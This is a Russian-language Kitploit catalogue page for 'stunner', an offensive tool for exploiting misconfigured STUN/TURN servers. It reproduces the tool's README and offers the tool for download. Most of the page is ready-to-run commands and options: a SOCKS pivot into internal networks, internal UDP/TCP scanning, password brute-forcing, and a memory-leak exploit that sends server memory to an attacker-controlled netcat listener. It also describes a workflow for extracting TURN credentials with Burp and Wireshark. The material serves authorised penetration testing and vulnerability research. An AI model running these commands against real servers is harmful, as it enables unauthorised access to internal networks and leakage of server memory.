Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
stunner — Тестируйте и эксплуатируйте серверы STUN/TURN на предмет неправильных конфигураций, обеспечивая перемещение по внутренней сети через SOCKS-прокси, атаки утечки памяти и внутреннее сканирование портов. | Kitploit
Инструменты/GitHubGitHub/firefart/stunner
Анализ уязвимостейЭксплуатацияСетевая безопасностьТестирование на ПроникновениеНеправильная КонфигурацияRed Teaming
GitHubfirefart/stunner

stunner

Тестируйте и эксплуатируйте серверы STUN/TURN на предмет неправильных конфигураций, обеспечивая перемещение по внутренней сети через SOCKS-прокси, атаки утечки памяти и внутреннее сканирование портов.

Репозиторий
857461 день назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

STUNNER

Stunner — это инструмент для тестирования и эксплуатации STUN, TURN и TURN поверх TCP серверов. TURN — это протокол, в основном используемый в видеоконференциях и аудиочатах (WebRTC).

Если вы найдёте неправильно настроенный сервер, вы сможете использовать этот инструмент для запуска локального socks-прокси, который будет перенаправлять весь трафик через протокол TURN во внутреннюю сеть за сервером.

Я разработал этот инструмент во время тестирования Cisco Expressway, что привело к обнаружению нескольких уязвимостей: https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/

Чтобы получить необходимые имя пользователя и пароль, их нужно извлечь с помощью внешнего метода, например, перехватив запрос Connect из веб-браузера с помощью Burp. Я добавил пример рабочего процесса внизу readme, показывающий, как бы вы тестировали такой сервер.

LICENSE

Эта работа лицензирована в соответствии с Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. Чтобы просмотреть копию этой лицензии, посетите http://creativecommons.org/licenses/by-nc-sa/4.0/ или отправьте письмо в Creative Commons, PO Box 1866, Mountain View, CA 94042, USA.

Реализованные RFC

STUN: RFC 5389

TURN: RFC 5766

TURN для TCP: RFC 6062

Расширение TURN для IPv6: RFC 6156

Доступные команды

info

Эта команда выводит информацию о STUN или TURN сервере, такую как поддерживаемые протоколы и атрибуты, например, используемое ПО.

Options

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--timeout value               connect timeout to turn server (default: 1s)
--help, -h                    show help (default: false)

Пример

root@kitploit:~
./stunner info -s x.x.x.x:443

range-scan

Эта команда проверяет несколько частных и ограниченных диапазонов, чтобы определить, настроен ли TURN сервер на разрешение соединений с указанными IP-адресами. Если конкретный диапазон не запрещён, вы можете дополнительно просканировать его с помощью других команд. Если IP-адрес достижим, это означает, что TURN сервер будет перенаправлять трафик на этот IP.

Options

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--help, -h                    show help (default: false)

Пример

TCP-подключение к TURN (соединение от вас к TURN серверу):

root@kitploit:~
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp

UDP-подключение к TURN (соединение от вас к TURN серверу):

root@kitploit:~
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp

socks

Это одна из самых полезных команд для TURN серверов, поддерживающих TCP-соединения к внутренним серверам. Она запускает локальный socks5 сервер без аутентификации и перенаправляет весь TCP-трафик через протокол TURN (UDP через SOCKS в настоящее время не поддерживается). Если сервер неправильно настроен, он будет перенаправлять трафик на внутренние адреса, поэтому это можно использовать для доступа к внутренним системам и использования сервера в качестве прокси во внутреннюю сеть. Если вы также настроите выполнение DNS-запросов через socks, они будут разрешаться с помощью вашего локального DNS-сервера, поэтому лучше работать с частными IPv4 и IPv6 адресами. Учтите, что этот модуль может перенаправлять только TCP-трафик.

Options

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--listen value, -l value      Address and port to listen on (default: "127.0.0.1:1080")
--drop-public, -x             Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true)
--help, -h                    show help (default: false)

Пример

root@kitploit:~
./stunner socks -s x.x.x.x:3478 -u username -p password -x

После запуска прокси откройте браузер, укажите в настройках прокси socks5 с IP 127.0.0.1:1080 (обязательно не отключайте опцию "обход прокси для локальных адресов", так как нам нужно обращаться к удалённым локальным адресам) и перейдите по нужному IP в браузере.

Пример: https://127.0.0.1, https://127.0.0.1:8443 или https://[::1]:8443 (это вызовет порты на тестируемом TURN сервере через локальные интерфейсы).

Вы также можете настроить proxychains на использование этого прокси (но это будет очень медленно, так как каждый запрос приводит к множеству запросов для установки проксирования). Просто отредактируйте /etc/proxychains.conf и добавьте значение socks5 127.0.0.1 1080 в раздел ProxyList.

Пример nmap через этот socks5 прокси с правильно настроенным proxychains (обратите внимание на -sT для TCP SYN, иначе прокси не будет использоваться)

root@kitploit:~
sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1

brute-transports

Эта команда, скорее всего, не даст полезной информации, но может быть полезна для перечисления всех доступных транспортов (=протоколов для внутренних систем), поддерживаемых сервером. Это может показать некоторые нестандартные реализации протоколов, но в основном вернёт только значения по умолчанию.

Options

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--help, -h                    show help (default: false)

Пример

root@kitploit:~
./stunner brute-transports -s x.x.x.x:3478 -u username -p password

brute-password

Эта команда перебирает все пароли из указанного файла для заданного имени пользователя через протокол TURN (UDP). Это может быть полезно при анализе pcap-файла, где видно имя пользователя, но не пароль. Обратите внимание, что офлайн-брутфорс в этом случае будет намного быстрее.

Options

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--passfile value, -p value    passwordfile to use for bruteforce
--help, -h                    show help (default: false)

Пример

root@kitploit:~
./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt

memoryleak

Эта атака работает следующим образом: Сервер принимает данные для отправки на target (в большинстве случаев это должен быть высокий порт > 1024) в формате TLV (Type Length Value). Эта эксплойт использует большую длину с коротким значением. Если сервер не проверяет границы TLV, он может отправить вам часть памяти длиной length на target. Cisco Expressway была подтверждено уязвимой к этой атаке, но по данным Cisco утекает только память текущей сессии.

Options

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--target value, -t value      Target to leak memory to in the form host:port. Should be a public server under your control
--size value                  Size of the buffer to leak (default: 35510)
--help, -h                    show help (default: false)

Пример

Для получения данных нам нужно настроить приёмник на сервере с публичным IP. Обычно брандмауэры настроены так, что разрешают только высокие порты (>1024) от TURN серверов, поэтому в этом примере используйте высокий порт, например 8080, при подключении к интернету.

root@kitploit:~
sudo nc -u -l -n -v -p 8080 | hexdump -C

затем выполните следующую команду на вашей машине, добавив публичный IP в параметр t

root@kitploit:~
./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password

Если всё работает, вы должны увидеть большие объёмы памяти, иначе будут только короткие сообщения.

udp-scanner

Если TURN сервер разрешает UDP-соединения к внутренним целям, этот сканер может использоваться для сканирования всех частных IP-диапазонов и отправки им SNMP и DNS запросов. Так как проверяется много IP, это может занять несколько дней, поэтому используйте с осторожностью или указывайте более мелкие цели через параметры. Вам нужно указать SNMP community string, которая будет использоваться, и доменное имя, которое будет разрешаться на каждом IP. Для доменного имени можно использовать, например, burp collaborator.

Options

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--community-string value      SNMP community string to use for scanning (default: "public")
--domain value                domain name to resolve on internal DNS servers during scanning
--ip value                    Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format.  (accepts multiple inputs)
--help, -h                    show help (default: false)

Пример

root@kitploit:~
./stunner udp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8  --domain domain.you.control.com --community-string public

tcp-scanner

Аналогичен udp-scanner, но отправляет HTTP-запросы на указанные порты (HTTPS не поддерживается)

Options

root@kitploit:~
--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--ports value                 Ports to check (default: "80,443,8080,8081")
--ip value                    Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format.  (accepts multiple inputs)
--help, -h                    show help (default: false)

Пример

root@kitploit:~
./stunner tcp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8

Пример рабочего процесса

Допустим, вы нашли сервис, использующий WebRTC, и хотите его протестировать.

Первый шаг — получить необходимые данные. Рекомендую запустить Wireshark в фоне и просто присоединиться к встрече через Burp, чтобы собрать весь HTTP и Websocket трафик. Затем поищите в истории Burp ключевые слова, связанные с TURN, например 3478, password, credential и username (обязательно проверьте также вкладку websocket на наличие этих ключевых слов). Это может выявить TURN сервер и протокол (UDP и TCP endpoints могут иметь разные порты), а также используемые учётные данные. Если вы не можете найти данные в Burp, начните искать в Wireshark, чтобы идентифицировать трафик. Если он работает на нестандартном порту (отличном от 3478), декодируйте протокол в Wireshark через правый клик как STUN. Это покажет имя пользователя, используемое для подключения, и вы сможете использовать эту информацию для дальнейшего поиска в истории Burp. Обратите внимание, что Wireshark не может показать пароль, так как пароль используется для хеширования содержимого пакетов, поэтому его нельзя восстановить.

Следующий шаг — выполнить команду info к TURN серверу, используя правильный порт и протокол, полученные из Burp.

Если это сработает, следующим шагом будет range-scan. Если это разрешает любой трафик к внутренним системам, вы можете использовать это дальше, но имейте в виду, что UDP имеет ограниченное применение.

Если TCP-соединения к внутренним системам разрешены, просто выполните команду socks и получите доступ к разрешённым IP через браузер, установив socks-прокси на 127.0.0.1:1080. Вы можете попробовать 127.0.0.1:443 и другие IP, чтобы найти интерфейсы управления.

Скачать инструмент